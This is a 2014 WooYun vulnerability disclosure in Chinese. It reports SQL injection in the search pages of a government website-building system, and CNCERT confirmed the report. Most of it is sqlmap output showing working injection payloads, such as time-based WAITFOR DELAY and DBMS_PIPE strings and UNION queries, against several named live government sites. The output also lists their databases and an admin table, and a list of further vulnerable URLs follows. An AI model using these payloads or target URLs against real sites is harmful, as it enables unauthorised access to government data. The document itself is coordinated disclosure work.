当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-074066

漏洞标题：某政府通用建站系统存在SQL注入

相关厂商：cncert国家互联网应急中心

漏洞作者： 浮萍

提交时间：2014-08-27 18:26

修复时间：2014-11-25 18:28

公开时间：2014-11-25 18:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-27： 细节已通知厂商并且等待厂商处理中
2014-09-01： 厂商已经确认，细节仅向厂商公开
2014-09-04： 细节向第三方安全合作伙伴开放
2014-10-26： 细节向核心白帽子及相关领域专家公开
2014-11-05： 细节向普通白帽子公开
2014-11-15： 细节向实习白帽子公开
2014-11-25： 细节向公众公开

简要描述：

详细说明：

长春首佳科技有限公司的建站程序
http://www.sooka.com.cn/
在搜索处存在注入
双阳区人民政府
http://www.shuangyang.gov.cn/

Snap1.jpg


Snap2.jpg


拼url
http://www.shuangyang.gov.cn/search.jsp?key=a'&type=1&x=7&y=4

Snap3.jpg


GET parameter 'key' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 43 HTTP(s) requ
ests:
---
Place: GET
Parameter: key
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: key=a%' AND 1069=1069 AND '%'='&type=1&x=7&y=4
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: key=a%' UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(121)+CHAR(110)+CH
AR(108)+CHAR(113)+CHAR(99)+CHAR(72)+CHAR(72)+CHAR(108)+CHAR(78)+CHAR(72)+CHAR(70
)+CHAR(105)+CHAR(75)+CHAR(120)+CHAR(113)+CHAR(102)+CHAR(115)+CHAR(99)+CHAR(113),
NULL-- &type=1&x=7&y=4
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: key=a%'; WAITFOR DELAY '0:0:5'--&type=1&x=7&y=4
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: key=a%' WAITFOR DELAY '0:0:5'--&type=1&x=7&y=4
---


web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000


数据库

available databases [7]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] syqzf
[*] tempdb


syqzf表

Database: syqzf
[22 tables]
+----------------+
| S3_Tmp         |
| admin_info     |
| affix_info     |
| dtproperties   |
| gbook_info     |
| gbook_type     |
| jyta_info      |
| news_info      |
| news_nr        |
| news_type      |
| pingyi_bm      |
| pingyi_pj      |
| poll_option    |
| poll_title     |
| qzzc_info      |
| sqlmapoutput   |
| sysconstraints |
| syssegments    |
| ysqgk_info     |
| zbft_info      |
| zbft_nr        |
| zxsb_info      |
+----------------+


百度搜索“网站维护:双阳区人民政府信息中心　技术支持:长春首佳科技有限公司”

Snap4.jpg


漏洞证明：

乾安县人民政府 http://www.jlqa.gov.cn/main/search.jsp?key=a

GET parameter 'key' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] n
sqlmap identified the following injection points with a total of 63 HTTP(s) requ
ests:
---
Place: GET
Parameter: key
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: key=a%' AND 3474=3474 AND '%'='
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: key=a%' AND 1941=DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(83)||CHR(72
)||CHR(67),5) AND '%'='
---


web application technology: JSP
back-end DBMS: Oracle


数据库

available databases [26]:
[*] CTXSYS
[*] HR
[*] MDSYS
[*] ODM
[*] ODM_MTR
[*] OE
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] PM
[*] QACL
[*] QIANAN_WEB
[*] QS
[*] QS_CBADM
[*] QS_CS
[*] QS_ES
[*] QS_OS
[*] QS_WS
[*] RMAN
[*] SCOTT
[*] SH
[*] SYS
[*] SYSTEM
[*] WKSYS
[*] WMSYS
[*] XDB


--------------
吉林市人民政府
http://jlcity.gov.cn/jlszf_web/gjzssss.jsp?key=a

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: key
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: key=a%' AND 8188=8188 AND '%'='
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: key=a%' AND 7528=DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(81)||CHR(7
9)||CHR(67),5) AND '%'='
---


web application technology: JSP
back-end DBMS: Oracle


30个数据库

Snap5.jpg


-----
四平市铁东区人民政府网站
http://www.jlsptd.gov.cn/search.jsp?key=a&x=19&y=8

sqlmap identified the following injection points with a total of 0 HTTP(s) requ
sts:
---
Place: GET
Parameter: key
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: key=a%' AND 7545=DBMS_PIPE.RECEIVE_MESSAGE(CHR(68)||CHR(79)||CHR(7
)||CHR(70),5) AND '%'='&x=19&y=8
---
[15:08:51] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle


-------
白城市人民政府网站
www.bc.jl.gov.cn/search.jsp?key=a

sqlmap identified the following injection points with a total of 79 HTTP(s) requ
ests:
---
Place: GET
Parameter: key
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: key=a'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: key=a' WAITFOR DELAY '0:0:5'--
---


web application technology: JSP
back-end DBMS: Microsoft SQL Server 2000


等等
还有如下一些网站

双阳纪检监察:http://www.syjjw.gov.cn/info/search.jsp?key=aa&tid=3&x=27&y=10
双阳经开网http://www.csjk.gov.cn/search.jsp?skey=a&x=20&y=6
长春经济技术开发区http://www.cetdz.gov.cn/list_select.jsp?selectTitle=aa
蛟河市人民政府网站http://www.jiaohe.gov.cn/main/search.jsp?key=a&image.x=11&image.y=12
通化市人民政府http://www.tonghua.gov.cn/search.jsp?key=a
柳河县人力资源和社会保障局http://www.lhxrsj.gov.cn/frame/public/search.jsp?search=a&x=13&y=1


修复方案：

版权声明：转载请注明来源 浮萍@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2014-09-01 10:05

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发给吉林分中心，由吉林分中心后续协调网站管理单位处置。

最新状态：

暂无